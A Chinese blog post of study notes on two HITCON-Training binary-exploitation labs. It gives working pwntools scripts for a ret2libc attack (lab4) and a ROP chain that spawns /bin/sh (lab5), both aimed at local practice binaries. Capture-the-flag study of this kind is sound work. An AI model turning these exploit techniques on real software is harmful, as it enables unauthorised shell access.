美文网首页
1.23第三条咸鱼

1.23第三条咸鱼

作者: 好大一只免孑 | 来源:发表于2019-01-23 19:27 被阅读0次

今日份咸鱼

https://github.com/scwuaptx/HITCON-Training
lab4,lab5

lab4:

先用IDA


image.png

gdb调试一下
获取一下put_plt


image.png
写一串下面的东西
image.png

运行后获得put的地址


image.png

然后查询用了什么库

image.png
然后查相应的基地址 image.png
把要用的地址都查了 image.png

最后代码是这样
但是不晓得出了啥子毛病运行有问题
阿西吧 等之后慢慢改


sh=process('./ret2lib')


put_adr=0xf7e17140

libc_adr=put_adr-0x0005f140

gets_ret=libc_adr+0x0005e890
sys_ret=0x0003a940+libc_adr
buf=0x0804b000-30

p='a'*60+p32(gets_ret)+p32(sys_ret)+p32(buf)+p32(buf)

sh.recvuntil(":")
sh.sendline(p)
sh.sendline('/bin/sh\x00')

sh.interactive()

改过后的:

#context.log_level='debug'

sh=process('./ret2lib')
libc=ELF("/lib32/libc.so.6")
ret2lib=ELF("./ret2lib")


sh.sendline(str(ret2lib.got['puts']))
sh.recvuntil('0x')
put_adr=int(sh.readuntil('\n'),16)


libc_adr=put_adr-0x0005f140

gets_ret=libc_adr+0x0005e890
sys_ret=0x0003a940+libc_adr
buf=0x0804b000-30

p='a'*60+p32(gets_ret)+p32(sys_ret)+p32(buf)+p32(buf)

sh.recvuntil(":")
sh.sendline(p)
sh.sendline('/bin/sh\x00')

sh.interactive()

lab5
Ida

image.png image.png

ok这是一个rop题
ROPgadget --binary simplerop > rop.txt

image.png image.png image.png

sh=process('./simplerop')

read_ret=0x0806CD50
pop_edx_ecx_ebx_ret=0x0806e850
pop_eax_ret=0x080bae06
int80_ret=0x080493e1
buf = 0x80ea060


payload='a'*32+p32(read_ret)+p32(pop_edx_ecx_ebx_ret)
payload+=p32(0)+p32(buf)+p32(0x10)
payload+=p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(buf)
payload+=p32(pop_eax_ret)+p32(0xb)
payload+=p32(int80_ret)

sh.recvuntil(":")
sh.sendline(payload)
sh.sendline('/bin/sh\x00')

sh.interactive()
image.png

摸完鱼了
快落

相关文章

  • 1.23第三条咸鱼

    今日份咸鱼 https://github.com/scwuaptx/HITCON-Traininglab4,lab...

  • 1.23 历史分舵输出

    1.23

  • 第二周

    1.22 1.23 1.24 1.25 1.26 1.27 1.28

  • 水性笔练画日常③💋

    1.20 1.21 1.22 1.23 1.24 1.25 1.26

  • 数据类型上

    基本类型(简单类型) 七种数据类型 数字 number 十进制1 or 1.1 (.1)1.23e2 1.23...

  • JavaScript 深入浅出

    1.操作符背后的隐式转换关系 "1.23"-1.23----为NaNvar num="23";--最简单的转换为n...

  • python学习(一)

    python数据类型 整数、浮点数(1.23x10^9就是1.23e9)、字符串、布尔值(True、False)、...

  • 1.23

  • 1.23

    the matter that you have a high or low EQ depends on if y...

  • 1.23

    早晨又起迟了,是我起不来,每天都这样。睡下去就不起来,我那是懒! 人说可怕的是你的对手比你更努力。林徽因出生的那个...

网友评论

      本文标题:1.23第三条咸鱼

      本文链接:https://www.haomeiwen.com/subject/rexsjqtx.html